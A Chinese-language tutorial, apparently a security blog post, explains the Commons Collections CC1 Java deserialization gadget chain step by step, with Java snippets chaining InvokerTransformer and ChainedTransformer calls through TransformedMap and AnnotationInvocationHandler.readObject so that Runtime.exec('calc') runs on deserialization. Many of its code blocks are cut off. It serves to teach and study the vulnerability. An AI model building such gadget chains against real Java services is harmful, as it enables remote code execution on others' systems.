在此快速重温一遍Java反序列化知识
反射
Constructor类型存储getConstructor获取的有参或无参构造函数。其中getConstructor参数为需要获取的构造函数形参类型,如String.class,Class[].class
newInstance实例化对象,可从原型实例化对象,如person.getClass().newInstance()
当然这种实例化只能调用无参构造函数实例化。可以先获取构造器,再调用有参构造函数实例化,如:
1
2
3 >Class c = person.getClass();
>Constructor personconstructor = c.getConstructor(String.Class,int.class);
>Person p = (Person) personconstructor.newInstance("abc",21);
- Field存储类里的属性。如
1
2
3
4 >Field[] personfields = c.getDeclaredFields();
>for(Field f:personfields){
...
>}
- Method存储获取的类方法。getMethod()获取类方法
- invoke执行获取的method方法
以上方法加declared获取私有内容,如getDecalredFields()获取私有属性
使用setAccessible(true)允许修改私有变量,私有方法等private内容
以上内容不着急理解,接着往下看
反序列化需要从能invoke执行代码的部分走到readObject,序列化时导致任意代码执行。
比如Runtime类下的exec方法就能执行系统命令,我们通常使用单形参的这个exec:
以防有人基础不牢,比如我。此处为java的一些易漏前置知识。
java以是否有static关键字区分了实例方法和静态方法。
- 实例方法:必须通过已经实例化的对象来调用。例如,如果你有一个名为MyClass的类,并且它有一个实例方法doSomething(),你需要先创建MyClass的一个实例,然后通过这个实例来调用方法,如
MyClass instance = new MyClass(); instance.doSomething();
。- 静态方法(可以直接调用的方法):可以通过类名直接调用,无需创建类的实例。例如,如果MyClass有一个静态方法staticMethod(),你可以直接通过类名调用它,如MyClass.staticMethod();
Runtime.exec()就是实例方法,需要在实例化对象上进行调用。Runtime.getRuntime()返回一个单例实例。
因为Runtime类没有公开的构造方法,getRuntime()方法实际上是返回了该类的一个单例实例。这样做可以确保整个应用程序中只有一个Runtime实例存在,这样可以更好地管理资源和环境交互
所以使用Runtime.getRuntime().exec("calc");
就能调用系统计算器。
但是Runtime类没有继承Serializable,所以不能序列化。InvokerTransformer继承了Serializable,且其transformer调用了invoke,有invoke当然就能用invoke反射调用到Runtime中的exec。反射知识:https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html
先把Runtime.getRuntime.exec("calc");
改为反射调用:
其中invoke调用格式为:方法.invoke(对象,参数)
getMethod调用格式为:对象.getMethod(方法名,该方法参数类型)
1 | Runtime r = Runtime.getRuntime(); |
getRuntime()是不是也能顺便改成反射了呢?
1 | //代码1 |
CC1
pom dependency:
1 | <dependency> |
报maven插件版本错误的:
1 | <build> |
去找个jdk源码版或者OpenJDK找对应jdk版本的sun包复制对应目录才能正常调试。
偷懒链接:https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip
改造Runtime为可序列化
CC1用InvokerTransformer.transform代为执行invoke,且满足了继承Serializable序列化可传输的功能。
Class<?> c = Runtime.class;
是可以序列化的。
根据上面的代码1,可以很轻松地用InvokerTransformer的构造方法传入反射执行的参数。从而替代代码1
仔细阅读transform的代码,InvokerTransformer传入的第一个参数为getMethod调用的方法名,第二个参数为该方法所需的形参类型,第三个参数为该方法执行时传入的形参。而transform接收的参数为实例对象。
Method gMethod = c.getMethod("getRuntime",null);
可替换为:
1 | InvokerTransformer getMethod = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}); |
因为getMethod接收的形参类型如下:
String对应String.class Class<?>对应Class[].class
进一步可简化为:
1 | Method gMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); |
- 同理,
Object r = gMethod.invoke(null,null);
可以改写为:
1 | Object r = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(gMethod); |
Method execMethod = c.getMethod("exec", String.class);
可改写为:
1 | Method execMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class); |
execMethod.invoke(r,"calc");
可改写为:
1 | new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{r,new Object[]{"calc"}}).transform(execMethod); |
依旧能达到效果
如果在第三句,使用Runtime类型存储invoke结果,即Runtime.getRuntime()实例,则能在此实例上直接调用exec:(并不是这里就能序列化了,因为还是Runtime存储的,后续转成InvokerTransformer才能序列化)
没有继承serializable的一些类依然有办法在反序列化过程中获取实例,实际上整个序列化过程都没有用到Runtime的实例,创建实例的过程发生在反序列化途中。但这种方式要求
构造函数
或者获取实例的方法
能传进需要的参数,因为我们只有InvokerTransformer的过程是反射调用任意方法,而链式的过程中无法再去反射修改实例的字段(要满足链式,上一个transform()结果作为下一个参数)。
1 | Class<Runtime> c = Runtime.class; |
则该代码修改为InvokeTransformer版只需三句,且为链式(上一个结果传入下一个形参)
1 | //代码2 |
现在就能序列化了,首先因为InvokerTransformer继承了Serializable,其次在类里调用的方法实际上还是invoke。到这里就成功一半了
但是这样连续写三遍会不会很麻烦?ChainedTransformer接收一个transformer数组,且ChainedTransformer.transform()会对该数组进行链式调用。
InvokerTransformer实现了Transformer接口,new的实例可以赋值给父类或接口,即改写如下:
1 | //代码3 |
TransformedMap.checkValue()触发transformer
执行命令的部分写好了,现在倒回去找触发到readObject的部分,无论是否经过ChainedTransformer,都是调用transform()方法。查看其用法:
使用到该方法的类很多,比如以下三个:
这里的LazyMap和TransformedMap都存在反序列化链。先来看TransformedMap#checkSetValue()
调用了valueTransformer的transform方法。使valueTransformer为指定的ChainedTransformer即可
注意到该类存在一个静态方法decorate(),可以绑定valueTransformer
protected构造方法大概率会被函数内其他public方法调用
那在哪调用了checkSetValue()呢?答案就在TransformedMap的父类中
在AbstractInputCheckedMapDecorator的静态内部类MapEntry的setValue方法中调用了checkSetValue()
该静态内部类继承了AbstractMapEntryDecorator,在使用entrySet()遍历entry时能调用该setValue()
Entry从理解上来看,指map内的一对键值对,如map<”key”,”value”>
protected方法也能在该类嵌套外的类直接使用
现在理一遍逻辑,把上文构造的chainedTransformer用decorate()写入this.valueTransformer。这里需要一个map作为第一个参数,新建一个HashMap传入,随便put进一个Entry,这样才能进入遍历。(一个都没有当然不能遍历,也不能setValue)
checkSetValue的参数在调用setValue时传入
1 | HashMap<Object,Object> map = new HashMap<>(); |
为什么遍历能使用setValue()?
为什么该抽象类的MapEntry内的方法为什么能在遍历map.entrySet()时使用?下文可以略过,想要深入理解需要把AbstractInputCheckedMapDecorator从上到下分析。
首先看entrySet()函数,调用该函数会返回一个Set集合,且if默认为真,调用EntrySet静态内部类对原始的map.entrySet()进行装配(静态内部类能在外部类直接实例化)
this关键字指的是当前实例(或对象)。当代码中使用this时,它代表的是调用这个方法的具体实例。在这个特定的上下文中,意味着EntrySet构造函数接收当前实例作为一个参数,这样新创建的EntrySet对象可以访问和利用当前实例的属性和方法,比如isSetValueChecking()方法。
map.entrySet()返回由Map.Entry组成的原始集合
在EntrySet类中,迭代器使用了EntrySetInterator进行迭代
重写了迭代中会使用的next(),在这里就返回了MapEntry装饰的Map.Entry
自然调用setValue()是使用MapEntry的setValue(),而不是使用下列红框的原始setValue()
这里可能会有疑问了,为什么for循环就使用迭代器了呢?
没错,这里用到的增强型for循环(也叫foreach循环)实际上是通过迭代器实现的。尽管代码中没有显式使用迭代器。增强for循环工作原理如下:
获取迭代器:调用集合对象的
iterator()
方法,获取一个Iterator
对象。检查是否有下一个元素:调用
Iterator
对象的hasNext()
方法,检查是否有下一个元素。获取下一个元素:如果
hasNext()
返回true
,则调用Iterator
对象的next()
方法,获取下一个元素。执行循环体:将获取的元素赋值给循环变量,并执行循环体。
这意味着每次循环实际上是在使用迭代器遍历集合。
即遍历调用setValue背后的详细步骤如下:
- 获取迭代器:增强型
for
循环隐式调用transformedMap.entrySet().iterator()
,获取Iterator
对象。- 检查是否有下一个元素:增强型
for
循环隐式调用Iterator
对象的hasNext()
方法。- 获取下一个元素:如果
hasNext()
返回true
,增强型for
循环隐式调用Iterator
对象的next()
方法。- 执行循环体:将
next()
方法返回的元素赋值给entry
变量,然后执行循环体中的entry.setValue(Runtime.class)
。在
TransformedMap
的实现中,这个过程会涉及到以下类和方法:
- 其父类的
EntrySet
类的iterator()
方法返回一个EntrySetIterator
对象。EntrySetIterator
类的next()
方法返回一个MapEntry
对象。MapEntry
类的setValue()
方法调用TransformedMap
的checkSetValue()
方法来检查或转换值,然后调用原始Map.Entry
的setValue()
方法。所以
for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(Runtime.class);}
换成经典的迭代器你就会很容易理解了
1
2
3
4
5
6
7
8
9 >//代码4
>HashMap<Object,Object> map = new HashMap<>();
>map.put("key",null);
>Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
>Iterator it = transformedMap.entrySet().iterator();
>while(it.hasNext()){
Map.Entry entry = (Map.Entry<Object,Object>) it.next();
entry.setValue(Runtime.class);
>}
寻找readObject
牢记,最后是readObject触发反序列化。刚好在AnnotationInvocationHandler的readObject里找到了调用setValue的部分,虽然其参数不可控。
进入到setValue中,需要把memberValues设置为transformedMap,该属性在其私有构造函数中进行赋值
私有构造函数使用反射获取,修改访问权限即可。该构造函数第一个参数要求继承了Annotation接口,实际上就是要求传入注解类型,比如常用的注解Override,Target
可以继承接口或者实现接口。
- 继承接口extends指的是接口之间的关系,其中一个接口扩展另一个接口,从而获得其方法和常量。
- 实现接口implements指的是类与接口之间的关系,其中类提供了接口中定义的所有抽象方法的具体实现。
1 | Constructor AnnotationInvocationHandlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); |
满足if条件
现在构造的主代码如下:
1 | Transformer[] transformers = new Transformer[]{ |
需要满足这两个if判断才能进到setValue,这里的name是通过getKey()取的“键”,即map.put("key",null)
的”key”
满足if (memberType != null)
在上文的annotationType是调用getInstance()函数,获取给定注解类的AnnotationType实例,内部使用了CAS操作,具体很复杂,不在此深入了解。
但在getInstance内部有一句,调用了其私有构造函数
构造函数把该注解类内部的所有方法名 put进了memberTypes
在调用annotation.memberTypes时,就返回了这个(name,invocationhandlerReturnType(type))的Map,
总结一下,AnnotationInvocationHandler的readObject内的Class<?> memberType = memberTypes.get(name);
做了什么呢?就是取出注解类中为name的方法名。
比如Target注解内有value方法,如果name值为value,是不是memberType就是value?紧随其后的if判断就为真,因为get到了其值。如果name为其他字符串,就get不到值,自然if判断为假,进不了内部
满足第二个if
isInstance是一个native(C或C++实现的本地代码,不能看到代码内容)方法,作用是判断指定的对象是否是该类或其子类的实例,我们put进的value为null,当然不是。第二个判断是value值是否为异常代理类的实例(isInstance和instanceof的作用一样)
即第二个填null之外的大部分字符串都能符合要求
改变setValue参数值
这里的setValue是他赋予的值,我们要求传入的setValue参数值需要为Runtime.class,见上文代码4
回想一下,我们是在哪需要这个Runtime.class?是在代码2中的
1 | Method gMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); |
只是在后面构造时一步一步用不同的函数传参,先是chainedTransformer,又是setValue
既然是在最开始的InvokerTransformer.transform中使用,刚好有一个Transformer,叫ConstantTransformer。构造函数传入常量,然后其transformer返回该常量。
那在ChainedTransformer调用最开始加一个实例化ConstantTransformer,传入Runtime.class不就完了?即:
1 | Transformer[] transformers = new Transformer[]{ |
这样就根本不用管setValue传什么了。
完整代码如下:
1 | package org.example; |
调式复测
在反序列化出打上断点,一路步进就能看到完整过程。
调用链完整如下:
1 | * ObjectInputStream.readObject() |
另外,我们在上文可以看到,LazyMap.get()也调用了transform方法,下一篇讲用LazyMap构造CC反序列化链